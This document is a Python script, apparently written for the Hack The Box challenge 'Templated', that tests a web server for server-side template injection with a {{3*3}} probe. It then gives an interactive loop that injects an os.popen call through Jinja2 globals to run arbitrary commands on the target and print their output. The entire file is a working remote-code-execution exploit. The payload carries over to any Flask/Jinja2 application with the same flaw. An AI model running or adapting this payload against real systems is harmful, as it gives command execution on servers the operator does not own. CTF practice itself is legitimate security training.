exploit.py

#!/bin/python3

import requests

print("[!] Welcome to SSTi exploiter for HTB web challenge Templated!")
print("[!] Please enter the ip: ")

ip = input()
print("[!] Please enter the port: ")

port = input()
print("[+] Starting the check now...")
r = requests.get("http://"+ip+":"+port+"/{{3*3}}")
if '9' not in r.content.decode():
        print("[-] Target not vulnerable to this SSTI exploit. Are you sure this is the correct challenge ip/port!?")
        print("[!] Exiting now...")
        exit()
print("[+] Looks like the check succeeded! Should spawn a command shell now!")
print("[!] Enter 'exit' as command to exit the shell!")
while True:
        comm = input("[!] Enter command>> ")
        if comm == 'exit':
                exit()
        url = "http://"+ip+":"+port+"/{{request.application.__globals__.__builtins__.__import__('os').popen('"+comm+"').read()}}"
        #print(url)
        req = requests.get(url)
        print(req.content.decode().split("<str>")[1].split("</str>")[0])